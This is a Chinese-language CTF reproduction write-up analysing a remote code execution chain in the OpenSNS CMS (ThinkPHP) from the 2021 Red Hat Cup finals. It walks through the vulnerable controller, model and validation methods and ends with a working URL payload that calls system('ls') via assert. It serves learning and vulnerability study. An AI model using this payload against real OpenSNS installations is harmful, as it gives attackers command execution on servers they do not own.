红帽杯2021 决赛 opensns 复现

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了红帽杯2021 决赛 opensns 复现相关的知识,希望对你有一定的参考价值。

前言

因为某些事情,没有参加今年的红帽杯决赛,所以来复现一下决赛的Web题里面的opensns,学习一下思路。

复现

根据网上的文章进行复现学习。感觉能找到这个洞的师傅实在tql。

漏洞点位于Application/Weibo/Controller/ShareController.class.php的shareBox方法:

    public function shareBox(){
        $query = urldecode(I('get.query','','text'));
        parse_str($query,$array);
        $this->assign('query',$query);
        $this->assign('parse_array',$array);
        $this->display(T('Weibo@default/Widget/share/sharebox'));
    }

看了这个才隐约想到,之前自己了解tp的时候,了解到模板文件里也是可以执行代码的。之前一直都没考虑过这个。

这里就用到了。先把get传的query参数进行url解码,然后将这个字符串解析成变量数组,然后进行模板渲染。

跟进这个模板看一下:

<!-- Modal -->
<div id="frm-post-popup" class="white-popup" style="max-width: 745px">
    <div class="weibo_post_box">
        <h2>{:L('_SHARE_TO_WEIBO_')}</h2>
        <div class="aline" style="margin-bottom: 10px"></div>
        <div class="row">
            <div class="col-xs-12">
                <div>
                    {:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}
                </div>
                <br/>
                <p>
                    <textarea class="form-control" id="share_content" style="height: 6em;"
                             placeholder="{:L('_PLACE_HOLDER_WRITE_SOMETHING_')}{:L('_WAVE_')}{:L('_WAVE_')}">{$weiboContent}</textarea></p>
                <a href="javascript:" onclick="insertFace($(this))"><img src="__CORE_IMAGE__/bq.png"/></a>
                <p class="pull-right"><input type="submit" value="{:L('_PUBLISH_CTRL_CENTER_')}" data-role="do_send_share" data-query="{$query}"
                                             class="btn btn-primary" data-url="{:U('weibo/Share/doSendShare')}"/></p>
            </div>
        </div>
        <div id="emot_content" class="emot_content"></div>
        <button title="Close (Esc)" type="button" class="mfp-close" style="color: #333;">×</button>
    </div>
</div>
<!-- /.modal -->

<script>
    $(function () {
        $('#share_content').keypress(function (e) {
            if (e.ctrlKey && e.which == 13 || e.which == 10) {
                $("[data-role='do_send_share']").click();
            }
        });

        $('[data-role="do_send_share"]').click(function(){
            //获取参数
            var url = $(this).attr('data-url');
            var content = $('#share_content').val();
            var $button = $(this);
            var query = $button.attr('data-query');

            var originalButtonText = $button.val();

            //发送到服务器
            $.post(url, {content: content,query:query}, function (a) {
                handleAjax(a);
                if (a.status) {
                    $('.mfp-close').click();
                    $button.attr('class', 'btn btn-primary');
                    $button.val(originalButtonText);

                }
            });
        })
    });
</script>

可以发现:

                <div>
                    {:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}
                </div>

调用W方法,细看的话就是W方法里面又调用了R方法。thinkphp的注释中写道,W方法是用来渲染输出Widget,R方法是远程调用控制器的操作方法 URL 参数格式 [资源://][模块/]控制器/操作

可以不具体的了解代码,简单来说,这个模板代码的作用就是,调用Weibo application下的Share Model下的fetchShare方法,而传入的第一个参数就是array('param'=>$parse_array)

    public function fetchShare($param, $weibo = null)
    {
        $this->assginFetch($param, $weibo = null);
        $this->display(T('Weibo@default/Widget/share/fetchshare'));
    }

继续跟进assginFetch方法看看:

    private function assginFetch($param, $weibo = null)
    {
        if ($weibo) {
            $this->assign('weibo', $weibo);
        }
        $show = D('Weibo/Share')->getInfo($param);
        $show=array_merge($show, $param);
        $this->assign('show', $show);
    }

看一下D方法的注释:实例化模型类 格式 [资源://][模块/]模型

所以其实就是实例化Weibo模块下面的ShareModel类,调用它的getInfo方法:

    public function getInfo($param)
    {
        $info = array();
        if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
            $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
        }

        return $info;
    }

然后关键的来了:

$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

实例化某个模型类,然后调用这个类某个方法,第一个参数可控。

因此就是想办法找个可以rce的模型类方法了。发现的那个师傅找到的是_validationFieldItem方法,但是这个方法有两个参数,而且两个参数都会用到:

protected function _validationFieldItem($data, $val)

又恰巧找到了ScheduleModel.class.php下的runSchedule方法:

    public function runSchedule($schedule)
    {
        if ($schedule['status'] == 1) {
            $method = explode('->', $schedule['method']);
            parse_str($schedule['args'], $args);  //分解参数
            try {
                $return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法
            }

构造status键值进入if,然后$args$schedule都是可控的,所以参数可控。而且$method经过explode得到,也可控,因此可以调用_validationFieldItem方法:

    protected function _validationFieldItem($data, $val)
    {
        switch (strtolower(trim($val[4]))) {
            case 'function': // 使用函数进行验证
            case 'callback': // 调用方法进行验证
                $args = isset($val[6]) ? (array)$val[6] : array();
                if (is_string($val[0]) && strpos($val[0], ','))
                    $val[0] = explode(',', $val[0]);
                if (is_array($val[0])) {
                    // 支持多个字段验证
                    foreach ($val[0] as $field)
                        $_data[$field] = $data[$field];
                    array_unshift($args, $_data);
                } else {
                    array_unshift($args, $data[$val[0]]);
                }
                if ('function' == $val[4]) {
                    return call_user_func_array($val[1], $args);
                } else {
                    return call_user_func_array(array(&$this, $val[1]), $args);
                }

先判断$val[4],发现如果是function,并没有给break,还会进入到下面的case,是开发的问题。

然后有用的代码就是这些了:

$args = isset($val[6]) ? (array)$val[6] : array();
array_unshift($args, $data[$val[0]]);
return call_user_func_array($val[1], $args);

构造出payload即可:

?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system('ls');

参考文章

某CMS代码执行漏洞分析

以上是关于红帽杯2021 决赛 opensns 复现的主要内容,如果未能解决你的问题,请参考以下文章

[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it

2021-湖湘杯final-Web

2021-湖湘杯final-Web

2021-湖湘杯final-Web

红帽杯2021 Cryptography

[2021红帽杯]Web writeip